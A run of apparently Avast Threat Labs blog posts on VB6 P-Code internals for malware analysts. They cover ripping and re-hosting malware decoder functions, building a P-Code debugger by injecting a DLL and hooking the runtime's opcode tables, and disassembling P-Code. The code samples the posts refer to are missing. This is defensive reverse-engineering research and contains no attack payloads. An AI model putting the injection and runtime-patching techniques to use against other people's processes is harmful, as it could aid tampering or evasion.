This article summarizes the DirtyMoe malware in point of high-level overview. We described deploying, installation, purpose, communication, self-protecting, and statistics of DirtyMoe in general. The following articles of the DirtyMoe series will aim to give a detailed description of the MSI installer package, DirtyMoe driver, services, MOE objects, and other interesting topics related to the whole DirtyMoe architecture.

References

[1] Nugget Phantom Analysis
[2] Purple Fox Rootkit Now Propagates as a Worm
[3] EternalBlue Still Relevant
[4] Scripting Engine Memory Corruption Vulnerability
[5] Purple Fox malware

The post DirtyMoe: Introduction and General Overview of Modularized Malware appeared first on Avast Threat Labs.

Reusing binary code from malware is one of my favorite topics. Binary re-engineering and being able to bend compiled code to your will is really just an amazing skill. There is also something poetic about taking malware decryption routines and making them serve you.

Over the years this topic has come up again and again. Previous articles have included emit based rips [1], exe to dll conversion [2], emulator based approaches [3], and even converting malware into an IPC based decoder service [4].

The above are all native code manipulations which makes them something you can work with directly. Easy to disassemble, easy to debug, easy to patch. (Easy being a relative term of course :))

Lately I have been working on VB6 P-Code, and developing a P-Code debugger. One goal I had was to find a way to call a P-Code function, ripped from a malware, with my own arguments. It is very powerful to be able to harness existing code without having to recreate it (including all of its nuances.)

Is this even possible with P-Code? As it turns out, it is possible, and I am going to show you how.

The distilled knowledge below is small slice of what was unraveled during an 8 month research project into the VB6 runtime and P-code instruction set.

This paper includes 11 code samples which showcase a wide variety of scenarios utilizing this technique [5].

Note on offsets
In several places throughout this paper there may be VB runtime offsets presented. All offsets are to a reference copy with md5: EEBEB73979D0AD3C74B248EBF1B6E770 [6]. Microsoft was kind enough to publish debug symbols for this build including those for the P-Code engine handlers.

Barriers to entry
The VB6 runtime was designed to load executables, dlls, and ocx controls in an undocumented format. This format contains many complex interlinked structures that layout embedded forms, class structures, dependencies etc. During startup the runtime itself also requires certain initialization steps to occur as it prepares itself for use.

If we wish to execute P-Code buffers out of the context of a VB6 host executable there are several hurdles we must overcome:

VB Runtime Initialization 

Standard runtime initialization for executables takes place through the ThunRTMain export. This is the primary entry point for loading a VB6 executable. This function takes 1 argument that is the address of the top level VB Header structure. This structure contains the full complex hierarchy of everything else within. 

While we can utilize this path for our needs, there are easier ways to go about it. Starting from ThunRTMain can also create some problems on process termination so we will avoid it. 

In 2003 when exploring VB6’s ability to generate standard dlls I found a second path to runtime initialization through the CreateIExprSrvObj export.

This export is simple to call and automatically performs the majority of runtime initialization. Some TLS structure fields however are left out. In testing, most things operate fine. The only errors discovered occur when trying to use native VB file commands, MsgBox or the built in App object.

With a little extra leg work it has been found that the TLS structures can be manually completed to regain access to most of this native functionality. 

Finally if the P-Code buffer creates COM objects, a manual call to CoInitilize must also be performed. 

Replicating basic object structures

Once CreateIExprSrvObj has been executed, we can call into P-Code streams as many times as we want from our loader code. Structure initialization is minimal and only requires the following fields: 

If the P-Code routines utilize global variables then the codeObj.aModulePublic field will also have to be set to a writable block of memory. This has been demonstrated in the globalVar and complex_globals examples. We can even pre-initialize these variables here if we desire. 

In addition to filling out these primary structures, we also have to recreate the constant pool as expected by the specific P-Code. Finally we must also update a structure field in the P-Code to point to our current object Info structure. 

While this may sound complex, there is a generator utility which automatically does all of the work for you in the majority of cases. A more detailed explanation of the following code will be presented in later sections. 

Finding an entrypoint to transition into P-Code execution 

Execution of the VB6 P-Code occurs by calling the ProcCallEngine export of the VB runtime. The stub below is the same mechanism used internally by VB compiled applications to transfer execution between sub functions.

The offset_sub_main argument moved into EDX is the address of the target P-Code functions trailing structure that defines attributes of the function. We will discuss this structure in the following sections. 

The asm stub above shows the default scenario of calling a P-Code function with no arguments. A video showing this running in a debugger is available [7]. 

In the decrypt_test example we explore how to call a ripped function with a complex prototype and a Variant return value. This example demonstrates reusing an extracted P-Code decoder from a malware executable. Here we can call the extracted P-Code function passing it our own data:

Understanding P-Code function layout 

P-Code functions in compiled executables are linked by a structure that trails the actual byte code. This structure is called RTMI in the VB runtime symbols and the reversing community has taken to it as ProcDscInfo. A partial excerpt of this structure is shown below: 

When we rip a P-Code function from a compiled binary, we must also extract the configured RTMI structure. ProcCallEngine requires this information in order to run a P-Code routine successfully. 

When we relocate the P-Code block outside of the target binary, we must also update the link to our new object Info table.

This is what is being set in the generated code: 

Here the rc4 buffer contains the entire ripped function, starting with the P-Code and then followed by the RTMI structure which starts at offset 0x3e4. We then patch in the address of our manually filled out object Info into the RTMI.pObjTable field. Once this is complete, the P-Code is ready for execution.

Code Generation 

When developing a method such as this, we must start with known quantities. For our purposes we are writing our own test code which is done normally in the VB6 Integrated Development Environment. This code is then extracted using a utility which generates the C or VB6 source necessary to execute it independently.

The generator tool we are using in this paper is the free VBDec [8] P-Code debugger. 

While exploring this technique, the sample code has been optimized to follow several conventions for clarity. For this research all code samples were ripped from functions in a single module. This design was chosen so that all sub function access occurs through the ImpAdCall* opcodes which draw directly against function pointers in the const pool. 

Code taken from instanced form or class compilation units would require support to replicate VTable layouts for the *Vcall opcodes. While this can be done I will leave that as future work for now.

Samples are available that make extensive use of callbacks to integrate tightly with the host code. This is useful for integrating debug output through the C host in a simple manner. 

Callbacks are accessed through the standard VB API Declare syntax which is a core part of the language and is well documented. Below are examples of sending both numeric and string debug info from the P-Code to the host. 

Giving VB direct access to the host functions, is as simple as setting their address in the corresponding constant pool slot. 

Ripping functions with VBDec is simple. Simply right click on the function in the left hand treeview and choose the Rip menu option. VBDec will generate all of the embedding data for you. Multiple functions can be ripped at once by right clicking on the top level module name. 

A corresponding const pool will also be auto-generated along with stubs to update the object Info pointers and asm stubs to call interlinked sub functions.

Once extraction/generation is complete it is left up to the developer to integrate the data into one of the sample frameworks provided.

A spectrum of samples are provided ranging from very simple, to quite complex. Samples include:

Understanding the Const Pool 

Each compilation unit such as a module, class, form etc gets its own constant pool which is shared for all of the functions in that file. Pool entries are built up on demand as the file is processed by the compiler from top to bottom.

The constant pool can contain several types of entries such as: 

• string values (BSTRs specifically) 
• VB method native call stubs 
• API import native call stubs 
• COM GUIDs 
• COM CLSID / IID pairs held in COMDEF structures 
• CodeObject base offsets (not applicable to our work here) 
• internal runtime COM objects filled out at startup (not supported) 

VBDec is capable of automatically deciphering these entries and figuring out what they represent. Once the correct type has been determined, it can generate the C or VB source necessary to fill out the const pool in the host code. The constant pool viewer form allows you to manually view these entries.

In testing it has been performing extremely well outputting complete const pools which require little to no modification. 

For callback integration with the host, if you use “dummy” as the dll name, it will automatically be assumed as a host callback. Otherwise it will be translated literally as a LoadLibrary/GetProcAddress call.

Some const pool entries may show up as Unknown. When you click on a specific entry the raw data at that offset will be loaded into the lower textbox. If this data shows all 00 00 00 00’s then this is a reference to an internal VB runtime COM object that would normally be set to a live instance at initialization.

This has been seen when using the App Object. Normally this would be set @6601802F inside _TipRegAppObject function of the runtime on initialization. These types of entries are not currently supported using this technique (and would not make sense in our context anyways.) 

Interlinked sub functions are supported. A corresponding native stub will be generated along with an entry in the const pool for it. 

Early binding and late binding to COM objects is also supported. Late binding is done entirely through strings in the const pool. For early binding you will seen a COMDEF structure and CLSID / IID data automatically generated.

The following is taken from the early binding sample which loads the Sapi.SpVoice COM object. 

Generation of this code is generally automatic by VBDec but there may be times where the tool can not automatically detect which kind of const pool entry is being specified. In these cases you may have to manually explore the const pool and extract the data yourself.

In the above scenario the file data at the const pool address may look similar to the following:

If we visualize this as a COMDEF structure we can see the values 0, 0x401230, 0x401240, 0. Looking at the file offsets for these virtual addresses we find the GUIDs given above. 

String entries are held as BSTRs, which is a length prefixed unicode string. Since we are in complete control of the const pool, and BSTRs can encapsulate binary data. It is possible to include encrypted strings directly in the const pool using SysAllocStringByteLen. The binary_ConstPool* samples demonstrate this technique. You can also dynamically swap out const pool entries to change functionality as the P-Code runs. An example of this is found in the early bind sample. 

Note: It is important to use the SysAlloc* string functions to get real BSTR’s for const pool entries. As the strings get used by the runtime, it may try to realloc or release them.

Extended TLS Initialization

The VB6 runtime stores several key structures in Thread Local Storage (TLS). Several functions of the runtime require these structures to be initialized. These structures are critical for VB error handling routines and can also come into play for file access functions.

Below is the code for the rtcGetErl export. This function retrieves the user specified error line number associated with the last exception that occurred.

From this snippet of code we can see that the runtime stores the TLS slot value at offset 66110000. Once the actual memory address is retrieved with TlsGetValue The structure field 0x98 is then returned as the stored last error line number. In this manner we can begin to understand the meaning of the various structure offsets.

Even without a full analysis of the complete 0xA8 byte structure we can compare the values seen between a fully initialized process with those initialized through the CreateIExprSrvObj export.

Once diffed 2 main empty slots are observed which normally point to other allocations.

• field 0x18 – normally set @ 66015B25 in EbSetContextWorkerThread
• field 0x48 – normally set @ 66018081 in RegAppObjectOfProject

Field 0x48 is used for access to the internal VB App. COM object. This object does not make sense to use in our scenario and does not trigger any exceptions if left blank. If we had to replicate the COM object for compatibility with existing code we could however insert a dummy object.

The allocation at offset 0x18 is only required if we wish to use built in VB file operation commands or the MsgBox function.

If demanded for compatibility with ripped code, It was interesting to see if a manual allocation would allow the runtime to operate properly.

The following code was created to dynamically lookup the TLS slot value, retrieve the tlsEbthread memory offset and then manually link in a new allocation to the missing 0x18 field.

Once the above code was integrated full access was restored to the native VB file access functions. Again this extended initialization is not always required.

Debugging integration’s 

When testing this technique it is best to start with your own code that you control. This way you can get familiar with it and develop a feel for working with (and recognizing) the different function prototypes.

The first step is to write and debug your VB6 code as normal in the VB6 IDE. In preparation for running as a byte buffer, you can then pepper the VB code with progress callbacks to API Declare routines which normally access C dll exports.. You don’t actually have to write the dll, but you can. The calls are identical when hosted internally from a native C loader (or even a VB hosted Addressof callback routine). 

If you are calling into a P-Code function with a specific prototype, this is the trickiest part of the integration. Samples are available which pass in int, structures, references, Variants, bools and byte arrays. You will have to be very aware if arguments are being passed in ByVal, or the default ByRef (pointers).

Also pay attention to the function return types. If no argument/return type is defined, it defaults to a COM Variant. VB functions receive variant return values by pushing an extra empty one onto the stack before calling the function. Simple numeric return values are passed back in EAX as normal.

When interacting with callbacks make sure the callbacks are defined as __stdcall. All of the standard VB6 <–> C development knowledge applies. You can cut your teeth on these rules by working with standard C dlls and debugging in Visual Studio from the dll side while launching a VB6 exe host.

When in doubt you can create simple tests to debug just the function prototypes. For the complex prototype decryptor sample given above, I had the VB6 sub main() code call the rc4 function with expected parameters to test it in its natural environment. I could then debug the VB6 executable to watch the exact stack parameters passed to develop more insight into how to replicate it manually from my C loader.

This can be done with a native debugger by setting a breakpoint @6610664E on the ImpAdCallFPR4 handler in the VB runtime. Here you could examine the stack before entry into the target P-Code function. VBDec’s P-Code debugger is also convenient for this task.

When debugging it is best to have the reference copy of the VB runtime in the same directory as the target executable so that all of your offsets line up with your runtime disassembly with debug symbols. If you use IDA as your debugger, start with the disassembly of the VB runtime and set the target executable in the debugger options. Asm focused debuggers such as Olly or x64dbg are highly recommended over Visual Studio which is primarily based around source code debugging. 

Conclusion:

When working on malware analysis it is a common task to have to interoperate with various types of custom decoding routines. There are multiple approaches to this. One can sit down and reverse engineer the entire routine and make sure your code is 100% compatible, or you can try to explore rip based techniques. 

Ripping decoders is a fairly common task in my personal playbook. While researching the internals of the VB runtime it was a natural inquiry for me to see if the same concept could be applied to P-Code functions. 

With some experimentation, and a suitable generator, this technique has proven stable and relatively easy to implement. These experiments have also deepened my insights into how the various structures are used by the runtime and my appreciation for how tightly VB6 can integrate with C code. 

Hopefully this information will give you a new arrow to add to your quiver, or at least have been an interesting ride. 

[1] Emit based rip
[2] Using an exe as a dll
[3] Running byte blobs in scdbg
[4] Malware IPC decoder service
[5] Code samples
[6] VB6 runtime with symbols
[7] VB6 internals video
[8] VBDec P-Code Debugger

The post Binary Reuse of VB6 P-Code Functions appeared first on Avast Threat Labs.

Background

In this article we are going to discuss how to write a debugger for VB6 P-code. This has been something I have always wanted to do ever since I first saw the WKTVBDE P-Code Debugger written by Mr Silver and Mr Snow back in the early 2000’s

There was something kind of magical about that debugger when I first saw it. It was early in my career, I loved programming in VB6, and reversing it was a mysterious dark art.

While on sabbatical I finally I found the time to sit down and study the topic in depth. I am now sharing what I discovered along the way.

This article will build heavily on the previous paper titled VB P-Code Disassembly[1]. In this paper we detailed how the run time processes P-Code and transfers execution between the different handlers.

It is this execution flow that we will target to gain control with our debugger.

An example of the debugger architecture detailed in this paper can be found in the free vbdec pcode disassembler and debugger

Probing

When I started researching this topic I wanted to first examine what a process running within the WKTVBDE P-Code debugger looked like.

A test P-Code executable was placed alongside a copy of the VB runtime with debug symbols[2]. The executable was launched under WKTVBDE and then a native debugger was attached.

Examining the P-Code function pointer tables at 0x66106D14 revealed all the pointers had been patched to a single function inside the WKTVBDE.dll

This gives us our first hint at how they implemented their debugger. It is also worth noting at this point that the WKTVBDE debugger runs entirely within the process being debugged, GUI and all!

To start the debugger, you run loader.exe and specify your target executable. It will then start the process and inject the WKTVBDE.dll within it. Once loaded WKTVBDE.dll will hook the entire base P-Code handler table with its own function giving it first access to whatever P-Code is about to execute.

The debugger also contains:

• a P-Code disassembler
• ability to parse all of the nested VB internal structures
• ability to list all code objects and control events (like on timer or button click)

This is in addition to the normal debugger UI actions such as data dumping, breakpoint management, stack display etc.

This is A LOT of complex code to run as an injection dll. Debugging all of this would have been quite a lot of work for sure.

With a basic idea of how the debugger operated, I began searching the web to find any other information I could. I was happy to find an old article by Mr Silver on Woodmann that I have mirrored for posterity [3].

In this article Mr Silver lays out the history of their efforts in writing a P-Code debugger and gives a template of the hook function they used. This was a very interesting read and gave me a good place to start.

Design Considerations:

Looking forward there were some design considerations I wanted to change in this architecture.

The first change would be that I would want to move all of the structure parsing, disassembler engine, and user interface code into its own stand alone process. These are complicated tasks and would be very hard to debug as a DLL injection.

To accomplish this task we need an easy to use, stable inter-process communication (IPC) technique that is inherently synchronous. My favorite technique in this category is using Windows Messages which automatically cause the external process to wait until the window procedure has completed before it returns.

I have used this technique extensively to stall malware after it unpacks itself [4]. I have even wired it up to a Javascript engine that interfaces with a remote instance of IDA [5].

This design will give us the opportunity to freely write and debug the file format parsing, disassembly engine, and user interface code completely independent of the debugger core.

At this point debugger integration essentially becomes an add on capability of the disassembler. The injection dll now only has to intercept execution and communicate with the main interface.

For the remainder of this paper we will assume that a fully operational disassembler has already been created and only focus on the debugger specific details.

For discussions on how to implement a disassembler and a reference implementation on structure parsing please refer to the previous paper [1].

Implementation

With sufficient information now in hand it was time to start experimenting with gaining control over the execution flow.

Our first task is figuring out how to hook the P-Code function pointer table. Before we can hook it, we actually need to be able to find it first! This can be accomplished in several ways. From the WKTVBDE authors paper it sounds like they progressed in three main stages. First they started with a manually patched copy of the VB run time and the modified dll referenced in the import table.

Second they then progressed to a single supported copy of the run time with hard coded offsets to patch. A loader now injecting the debugger dll into the target process. Finally they added the ability to dynamically locate and patch the table regardless of run time version.

This is a good experimental progression which they detail in depth. The second stage is readily accessible to anyone who can understand this paper and will work sufficiently well. I will leave the details of injection and hooking as an exercise to the reader.

The basic steps are:

• set the memory writable
• copy the original function pointer table
• replace original handlers with your own hook procedures

The published sample also made use of self modifying code, which we will seek to avoid. To get around this we will introduce individual hook stubs, 1 per table, to record some additional data.

Before we get into the individual hook stubs, we notice they stored some run time/state information in a global structure. We will expand on this with the following:

From the hooking code you will notice that all of the base opcodes in the first table (excluding lead byte handlers) all received the same hook. The Lead_X bytes at the end each received their own procedure.

Below shows samples of the hook handlers for the first two tables. The other 4 follow the same pattern:

The hooks for each individual table configure the global VM structure fields for current lead byte and table base. The real meat of the implementation now starts in the universal hook procedure.

In the main PCodeHookProc you will notice that we call out to another function defined as: void NotifyUI().

It is in this function where we do things like check for breakpoints, handle single stepping etc. This function then uses the synchronous IPC to talk to the out of process debugger user interface.

The debugger UI will receive the step notification and then go into a wait loop until the user gives a step/go/stop command. This has the effect of freezing the debugee until the SendMessage handler returns. You can find a sample implementation of this in the SysAnalyzer ApiLogger source [6].

The reason we call out to another function from PCodeHookProc is because it is written as a naked function in assembler. Once free from this we can now easily implement more complex logic in C.

Further steps:

Once all of the hooks are implemented you still need a way to exercise control over the debuggee. When the code is being remotely frozen, the remote GUI is actually still free to send the frozen process new commands over a separate IPC back channel.

In this manner you can manage breakpoints, change step modes, and implement lookup services through runtime exports such as rtcTypeName.

The hook dll can also patch in custom opcodes. The code below adds our own one byte NOP instruction at unused slot 0x01

As hinted at in the comments, features such as live patching of the current opcode, and “Set New Origin Here” type features are both possible. These are implemented by the debugger doing direct WriteProcessMemory calls to the global VM struct. The address of this structure was disclosed in initialization messages at startup.

Conclusion

Writing a P-Code debugger is a very interesting concept. It is something that I personally wanted to do for the better part of 20 years.

Once you see all the moving parts up close it is not quite as daunting as it may seem at first glance.

Having a working P-Code debugger is also a foundational step to learning how the P-Code instruction set really works. Being able to watch VB6 P-code run live with integrated stack diffing and data viewer tools is very instructive. Single stepping at this level of granularity gives you a much clearer, higher level overview of what is going on.

While the hook code itself is technically challenging, there are substantial tasks required up front just to get you into the game.

Prerequisites for this include:

• accurate parsing of an undocumented file format
• a solid disassembly engine for an undocumented P-Code instruction set
• user interface that allows for easy data display and debugger control

For a reverse engineer, a project such as this is like candy. There are so many aspects to analyze and work on. So many undocumented things to explore. A puzzle with a thousand pieces.

What capabilities can be squeezed out of it? How much more is there to discover?

For me it is a pretty fascinating journey that also brings me closer to the language that I love. Hopefully these articles will inspire others and enable them to explore as well.

[1] – VB P-Code Disassembly
[2] – VB6 runtime with symbols (MD5: EEBEB73979D0AD3C74B248EBF1B6E770)
[3] – VB P-code Information by Mr Silver
[4] – ApiLogger – Breaking into Malware
[5] – IDA JScript
[6] – SysAnalyzer ApiLogger – freeze remote process

The post Writing a VB6 P-Code Debugger appeared first on Avast Threat Labs.

In this article we are going to discuss the inner depths of VB6 P-Code disassembly and the VB6 runtime.

As a malware analyst, VB6 in general, and P-Code in particular, has always been a problem area. It is not well documented and the publicly available tooling did not give me the clarity I really desired.

In several places throughout this paper there may be VB runtime offsets presented. All offsets are to a reference copy with md5: EEBEB73979D0AD3C74B248EBF1B6E770 [1]. Microsoft has been kind enough to provide debug symbols with this version for the .ENGINE P-Code handlers.

To really delve into this topic we are going to have to cover several areas.

The general layout will cover:

• how the runtime executes a P-Code stream
• how P-Code handlers are written
• primer on the P-Code instruction set
• instruction groupings
• internal runtime conventions
• how to debug handlers

Native Opcode Handlers & Code Flow

Let’s start with how a runtime handler interprets the P-Code stream.

While in future articles we will detail how the transition is made from native code to P-Code. For our purposes here, we will look at individual opcode handlers once the P-Code interpretation has already begun.

For our first example, consider the following P-Code disassembly:

Here we can see two byte codes at virtual address 0x401932. These have been decoded to the instruction LitI2_Byte 255. 0xF4 is the opcode byte. 0xFF is the hardcoded argument passed in the byte stream. 

The opcode handler for this instruction is the following:

While in a handler, the ESI register will always start as the virtual address of the next byte to interpret. In the case above, it would be 0x401933 since the 0xF4 byte has already been processed to get us into this handler.

The first instruction at 0x66105CAB will load a single byte from the P-Code byte stream into the EAX register. This value is then pushed onto the stack. This is the functional operation of this opcode.

EAX is then cleared and the next value from the byte stream is loaded into the lower part of EAX (AL). This will be the opcode byte that takes us to the next native handler.

The byte stream pointer is then incremented by two. This will set ESI past the one byte argument, and past the next opcode which has already been consumed.

Finally, the jmp instruction will transfer execution to the next handler by using the opcode as an array index into a function pointer table.

Now that last sentence is a bit of a mouth full, so lets include an example. Below is the first few entries from the _tblByteDisp table. This table is an array of 4 byte function pointers.

Each opcode is an index into this table. The *4 in the jump statement is because each function pointer is 4 bytes (32 bit code).

The only way we know the names of each of these P-Code instructions is because Microsoft included the handler names in the debug symbols for a precious few versions of the runtime. 

The snippet above also reveals several characteristics of the opcode layout to be aware of. First note, there are invalid slots such as opcode 0x01-InvalidExCode. The reason for this is unknown, but it also means we can have some fun with the runtime such as introducing our own opcodes [5]. 

The second thing to notice is that multiple opcodes can point to the same handlers such as the case with lblEX_Bos. Here we see that opcode 0 leads to the same place as opcode 2. There are actually 5 opcode sequences which point to the BoS (Beginning of Statement) handler.

The next thing to notice is that the opcode names are abbreviated and will require some deciphering to learn how to read them. 

Finally from the LitI2_Byte handler we already analyzed, we can recognize that all of the stubs were hand written in assembler. 

From here, the next question is how many handlers are there? If each opcode is a single byte, there can only be a maximum of 256 handlers right? That would make sense, but is incorrect.

If we look at the last 5 entries in the _tblByteDisp table we find this:

The handler for each of these looks similar to the following:

Here we see EAX zeroed out, the next opcode byte loaded into AL and the byte code pointer (ESI) incremented. Finally it uses that new opcode to jump into an entirely different function pointer table.

This would give us a maximum opcode count of (6*256)-5 or 1531 opcodes.

Now luckily, not all of these opcodes are defined. Remember some slots are invalid, and some are duplicate entries. If we go through and eliminate the noise, we are left with around 822 unique handlers. Still nothing to sneeze at.

So what the above tells us is that not all instructions can be represented as a single opcode. Many instructions will be prefixed with a lead byte that then makes the actual opcode reference a different function pointer table.

Here is a clip from the second tblDispatch pointer table:

To reach lblEX_ImpUI1 we would need to encode 0xFB as the lead byte and 0x01 as the opcode byte.

This would first send execution into the _lblBEX_Lead0 handler, which then loads the 0x01 opcode and uses tblDispatch table to execute lblEX_ImpUI1.

A little bit confusing, but once you see it in action it becomes quite clear. You can watch it run live for yourself by loading a P-Code executable into a native debugger and setting a breakpoint on the lead* handlers.

Byte stream argument length  

Before we can disassemble a byte stream, we also need to know how many byte code arguments each and every instruction takes. With 822 instructions this can be a big job! Luckily other reversers have already done much of the work for us. The first place I saw this table published was from Mr Silver and Mr Snow in the WKTVBDE help file.

A codified version of this can be found in the Semi-VbDecompiler source [2] which I have used as a reference implementation. The opcode sizes are largely correct in this table, however some errors are still present. As with any reversing task, refinement is a process of trial and error. 

Some instructions, 18 known to date, have variable length byte stream arguments. The actual size of the byte stream to consume before the next opcode is embedded as the two bytes after the opcode. An example of this is the FFreeVar instruction.

In this example we see the first two bytes decode as 0x0008 (little endian format), which here represents 4 stack variables to free.

Opcode Naming Conventions

Before we continue on to opcode arguments, I will give a brief word on naming conventions and opcode groupings.

In the opcode names you will often see a combination of the following abbreviations. The below is my current interpretation of the less intuitive specifiers:

Specifiers are often combined to denote meaning and opcodes often come in groups such as the following:

An opcode search interface such as this is very handy while learning the VB6 instruction set.

Opcode Groups

The following shows an example grouping:

A two part series on the intricacies of how For loops were implemented is available [3] for the curious.

As you can see, the opcode set can collapse down fairly well once you take into account the various groupings. While I have grouped the instructions in the source, I do not have an exact number as the lines between them can still be a bit fuzzy. It is probably around 100 distinct operations once grouped.

Now onto the task of argument decodings. I am not sure why, but most P-Code tools only show you the lead byte, opcode byte, mnemonic. Resolved arguments are only displayed if it is fully handled. 

Everything except Semi-VBDecompiler [6] skips the display of the argument bytes.

The problem arises from the fact no tool decodes all of the arguments correctly for all of the opcodes yet. If you do not see the argument byte stream, there is no indication other than a subtle jump in virtual address that anything has been hidden from you. 

Consider the following displays:

The first version shows you opcode and mnemonic only. You don’t even realize anything is missing. The second version gives you a bigger hint and at least shows you no argument resolution is occurring. The third version decodes the byte stream arguments, and resolves the function call to a usable name.

Obviously the third version is the gold standard we should expect from a disassembler. The second version can be acceptable and shows something is missing. The first version leaves you clueless. If you are not already intimately familiar with the instruction set, you will never know you are missing anything.

Common opcode argument types

In the Semi-VbDecompiler source many opcodes are handled with custom printf type specifiers [4]. Common specifiers include:

Many opcodes only take one or more simple arguments, %a and %s being the most common.

Consider "LitVarStr %a %s" which loads a variant with a literal BSTR string, and then pushes that address to the top of the stack:

The %a decoder will read the first two bytes from the stream and decode it as follows:

Interpreting 0xFF68 as a signed 2 byte number is -0x98. Since it is a negative value, it is a local function variable at ebp-0x98. Positive values denote function arguments. 

Next the %s handler will read the next two bytes which it interprets as a pool index. The value at pool index 0 is the constant 0x40122C. This address contains an embedded BSTR where the address points to the unicode part of the string, and the preceding 4 bytes denoting its length.

A closer look at run time data for this instruction is included in the debugging section later on.

Another common specifier is the %l handler used for jump calculations. It  can be seen in the following examples:

In the first unconditional jump the byte stream argument is 0x002C. Jump locations are all referenced from the function start address, not the current instruction address as may be expected. 

0x4014E4 + 0x2C = 0x401510 
0x4014E4 + 0x3A = 0x40151E

Since all jumps are calculated from the beginning of a function, the offsets in the byte stream must be interpreted as unsigned values. Jumps to addresses before the function start are not possible and represent a disassembly error. 

Next lets consider the %x handler as we revisit the "ImpAdCallFPR4 %x" instruction:

The native handler for this is:

Looking at the P-Code disassembly we can see the byte stream of 24001000 is actually two integer values. The first 0x0024 is a constant pool index, and the second 0x0010 is the expected stack adjustment to verify after the call. 

Now we haven’t yet talked about the constant pool or the house keeping area of the stack that VB6 reserves for state storage. For an abbreviated description, at runtime VB uses the area between ebp and ebp-94h as kind of a scratch pad. The meaning of all of these fields are not yet fully known however several of the key entries are as follows:

In the above disassembly we can see entry 0x24 from the constant pool would be loaded.

A constant pool viewer is a very instructive tool to help decipher these argument byte codes.

It has been found that smart decoding routines can reliably decipher constant pool data independent of analysis of the actual disassembly.

One such implementation is shown below:

If we look at entry 0x0024 we see it holds the value 0x4011CE. If we look at this  address in IDA we find the following native disassembly:

0x40110C is the IAT address of msvbvm60.rtcImmediateIf import. This opcode is how VB runtime imports are called. 

While beyond the scope of this paper, it is of interest to note that VB6 embeds a series of small native stubs in P-Code executables to splice together the native and P-Code executions. This is done for API calls, call backs, inter-modular calls etc. 

The Constant Pool

The constant pool itself is worth a bit of discussion. Each compilation unit such as a module, class, form etc gets its own constant pool which is shared for all of the functions in that file. 

Pool entries are built up on demand as the file is processed by the compiler from top to bottom. 

The constant pool can contain several types of entries such as: 

• string values (BSTRs specifically) 
• VB method native call stubs 
• API import native call stubs 
• COM GUIDs 
• COM CLSID / IID pairs held in COMDEF structures 
• CodeObject base offsets
• blank slots which represent internal COM objects filled out at startup by the runtime (ex: App.)

More advanced opcode processors

More complex argument resolutions require a series of opcode post processors.  In the disassembly engine I am working on there are currently 13 post processors which handle around 30 more involved opcodes.

Things start to get much more complex when we deal with COM object calls. Here we have to resolve the COM class ID, interface ID, and discern its complete VTable layout to determine which method is going to be called. This requires access to the COM objects type library if its an external type, and the ability to recreate its function prototype from that information.

For internal types such as user classes, forms and user controls, we also need to understand their VTable layout. For internal types however we do not receive the aid of tlb files. Public methods will have their names embedded in the VB file format structures which can be of help.

Resolution of these types of calls is beyond the scope of what we can cover in an introductory paper, but it is absolutely critical to get right if you are writing a disassembler that people are going to rely upon for business needs.

More on opcode handler inputs

Back to opcode arguments. It is also important to understand that opcodes can take dynamic runtime stack arguments in addition to the hard coded byte stream arguments. This is not something that a disassembler necessarily needs to understand though. This level of knowledge is mainly required to write P-Code assembly or a P-Code decompiler. 

Some special cases however do require the context of the previous disassembly in order to resolve properly. Consider the following multistep operation:

Here the LateIdLdVar resolver needs to know which object is being accessed. Scanning back and locating the VCallAd instruction is required to find the active object stored in PR. 

Debugging handlers

When trying to figure out complex opcode handlers, it is often helpful to watch the code run live in a debugger. There are numerous techniques available here. Watching the handler itself run requires a native debugger. 

Typically you will figure out how to generate the opcode with some VB6 source which you compile. You then put the executable in the same directory as your reference copy of the vb runtime and start debugging. 

Some handlers are best viewed in a native debugger, however many can be figured out just by watching it run through a P-Code debugger. 

A P-Code debugger simplifies operations showing you its execution at a higher level. In one step of the debugger you can watch multiple stack arguments disappear, and the stack diff light up with changes to other portions. Higher level tools also allow you to view complex data types on the stack as well as examine TLS memory and keep annotated offsets. 

In some scenarios you may actually find yourself running both a P-Code debugger and a native debugger on the target process at the same time. 

One important thing to keep in mind is that VB6 makes heavy use of COM types. 

Going back to our LitVarStr example:

You would see the following after it executes:

0019FC28 ebp-120 0x0019FCB0 ; ebp-98 - top of stack 
... 
0019FCB0 ebp-98 0x00000008 
0019FCB4 ebp-94 0x00000000  
0019FCB8 ebp-90 0x0040122C

A data viewer would reveal the following when decoding ebp-98 as a variant:

Variant 19FCB0 
VT: 0x8( Bstr ) 
Res1: 0 
Res2: 0 
Res3: 0 
Data: 40122C 
String len: 9 -> never hit

Debugging VB6 apps is a whole other ball of wax. I mention it here only in passing to give you a brief introduction to what may be required when deciphering what opcodes are doing. In particular recognizing Variants and SafeArrays in stack data will serve you well when working with VB6 reversing.

Conclusion

In this paper we have laid the necessary ground work in order to understand the basics of a VB6 P-Code disassembly engine. The Semi-VbDecompiler source is a good starting point to understand its inner workings. 

We have briefly discussed how to find and read native opcode handlers along with some of the conventions necessary for understanding them. We introduced you to how opcodes flow from one to the next, along with how to determine the number of byte stream arguments each one takes, and how to figure out what they represent. 

There is still much work to be done in terms of documenting the instruction set. I have started a project where I catalog:

• VB6 source code required to generate an opcode
• byte stream arguments size and meaning
• stack arguments consumed
• function outputs

Unfortunately it is still vastly incomplete. This level of documentation is foundational and quite necessary for writing any P-Code analysis tools.

Still to be discussed, is how to find the actual P-Code function blobs within the VB6 compiled executable. This is actually a very involved task that requires understanding a series of complex and nested file structures. Again the Semi-VbDecompiler source can guide you through this maze.

While VB6 is an old technology, it is still commonly used for malware. This research is aimed at reducing gaps in understanding around it and is also quite interesting from a language design standpoint. 

[1] – VB6 runtime with symbols
[2] – Semi-VbDecompiler opcode table Source
[3] – A closer look at the VB6 For Loop implementation
[4] – Semi-VBDecompiler opcode argument decodings 
[5] – Introducing a one byte NOP opcode
[6] – Semi-VBDecompiler

The post VB6 P-Code Disassembly appeared first on Avast Threat Labs.

Code obfuscation is one of the cornerstones of malware. The harder code is to analyze the longer attackers can fly below the radar and hide the full capabilities of their creations.

Code obfuscation techniques are very old and take many many forms from source code modifications, opcode manipulations, packer layers, virtual machines and more.

Obfuscations are common amongst native code, script languages, .NET IL, and Java byte code. 

As a defender, it’s important to be able to recognize these types of tricks, and have tools that are capable of dealing with them. Understanding the capabilities of the medium is paramount to determine what is junk, what is code, and what may simply be a tool error in data display. 

On the attackers side, in order to develop a code obfuscation there are certain prerequisites required. The attacker needs tooling and documentation that allows them to craft and debug the complex code flow. 

For binary implementations such as native code or IL, this would involve specs of the target file format, documentation on the opcode instruction set, disassemblers, assemblers, and a capable debugger.
